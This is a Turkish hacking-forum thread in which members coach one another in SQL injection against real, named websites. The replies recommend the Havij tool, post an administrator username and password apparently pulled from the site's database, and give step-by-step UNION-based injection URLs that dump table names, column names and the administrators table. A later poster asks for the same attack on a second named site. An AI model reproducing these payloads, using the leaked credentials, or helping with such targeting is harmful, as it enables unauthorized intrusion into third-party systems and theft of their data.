sql injection ile ilgili

nedeyon
Konu Özeti

Bir kullanıcı, SQL injection ile bir web sitesindeki sütun sayısını belirlemeye çalışırken karşılaştığı hataları paylaşıyor. 'order by 2--' sorgusunda 'Unknown column' hatası alırken, 'order by 1--' sorgusunun çalıştığını ancak 'union all select 1--' denemesinde sütun sayısı uyuşmazlığı hatası aldığını belirtiyor. Bu durumun nedenini anlamadığını ve yardım istediğini ifade ediyor.

Status
Not open for further replies.
kusura bakmayın nereye açıcağımı bilemedim.sql ile ilgili sorum var.
http://www.bible-history.com/subcat.php?id=2
bu sitede ' koyuyorum hata veriyor fakat columları alamıyorum.order by 2-- yapıyorum Query failed : Unknown column '2' in 'order clause' hatası alıyorum order by 1-- yapınca site sayfası açılıyor bu 1 tane mi colum var demek anlamadım.union all select 1-- yapıyorum 1
Query failed1: The used SELECT statements have a different number of columns diyor yani column sayısı 1 değil yardıcmı olabilir misiniz?çok minnettar olurum.

🔒 Bu içeriği görmek için giriş yapın

 
TheWayEnd said:
Merhaba Havij Programını Kullan

Site Bilgileri Aşağıda Paneli Bul Gir. :)

Data Found: admin_id=1
Data Found: admin_username=jc
Data Found: admin_password=Mos3s
Click to expand...

havjiden admin paneli http://www.bible-history.com/admin1/ diyor ama 401 unauthorized diyor site.şu sql işini bi çözemedim gitti ya sqllemi gircez admin adı ve şifresini.hocam şifreyi falan nasıl buldunuz

🔒 Bu içeriği görmek için giriş yapın

 
Last edited:
  • T tarxes
Dostum, sitede 1 tane column var onun uzerinden gideceksin.
http://www.bible-history.com/subcat...schema.tables+where+table_schema=database()--

tablo isimlerini bu sekilde aldiktan sonra orda "administrators" isminde bir tabloyla karsilasacaksin. Bunu bir yere not et. Ardindan,

http://www.bible-history.com/subcat...chema.columns+where+table_schema=database()--

column isimlerini bu sekilde aldiktan sonra orda da gozune "admin_username,admin_password" kisimlari carpacaktir. Onlardanda veriyi su sekilde cekeceksin:
http://www.bible-history.com/subcat...2722f3e,admin_password)+from+administrators--

🔒 Bu içeriği görmek için giriş yapın

 
tarxes said:
Dostum, sitede 1 tane column var onun uzerinden gideceksin.
http://www.bible-history.com/subcat...schema.tables+where+table_schema=database()--

tablo isimlerini bu sekilde aldiktan sonra orda "administrators" isminde bir tabloyla karsilasacaksin. Bunu bir yere not et. Ardindan,

http://www.bible-history.com/subcat...chema.columns+where+table_schema=database()--

column isimlerini bu sekilde aldiktan sonra orda da gozune "admin_username,admin_password" kisimlari carpacaktir. Onlardanda veriyi su sekilde cekeceksin:
http://www.bible-history.com/subcat...2722f3e,admin_password)+from+administrators--
Click to expand...
oo çok sağol benim çok ekmek yemem lazım

🔒 Bu içeriği görmek için giriş yapın

 
tarxes said:
Dostum, sitede 1 tane column var onun uzerinden gideceksin.
http://www.bible-history.com/subcat...schema.tables+where+table_schema=database()--

tablo isimlerini bu sekilde aldiktan sonra orda "administrators" isminde bir tabloyla karsilasacaksin. Bunu bir yere not et. Ardindan,

http://www.bible-history.com/subcat...chema.columns+where+table_schema=database()--

column isimlerini bu sekilde aldiktan sonra orda da gozune "admin_username,admin_password" kisimlari carpacaktir. Onlardanda veriyi su sekilde cekeceksin:
http://www.bible-history.com/subcat...2722f3e,admin_password)+from+administrators--
Click to expand...
bu siteyide yapabilirmisin? http://www.hebron.com/english/gallery.php?id=170'

🔒 Bu içeriği görmek için giriş yapın

 
Status
Not open for further replies.
136,632Threads
3,307,168Messages
328,485Members
rashcegLatest member

About Us & Legal Notice

Yasal Uyarı: spyhackerz.org, 5651 sayılı Kanun kapsamında “Yer Sağlayıcı”dır. Sitedeki içerikler, X, Instagram ve Facebook’ta olduğu gibi, ön onay olmadan tamamen kullanıcılar tarafından paylaşılır. Bu nedenle spyhackerz.org, kullanıcı içeriklerini veya hukuka aykırı paylaşımları izlemek, denetlemek ve araştırmakla yükümlü değildir.

Site bünyesinde herhangi bir “saldırı ekibi” bulunmamaktadır ve Türkiye’deki internet sitelerine yönelik zararlı faaliyet yürütülmez. SPYHACKERZ, üyelerin bireysel olarak gerçekleştirdiği hacking içerikli forum faaliyetlerinden sorumlu değildir. spyhackerz.org adı kullanılarak bir saldırı yapılması halinde tüm sorumluluk yalnızca ilgili üyeye aittir.
Top Bottom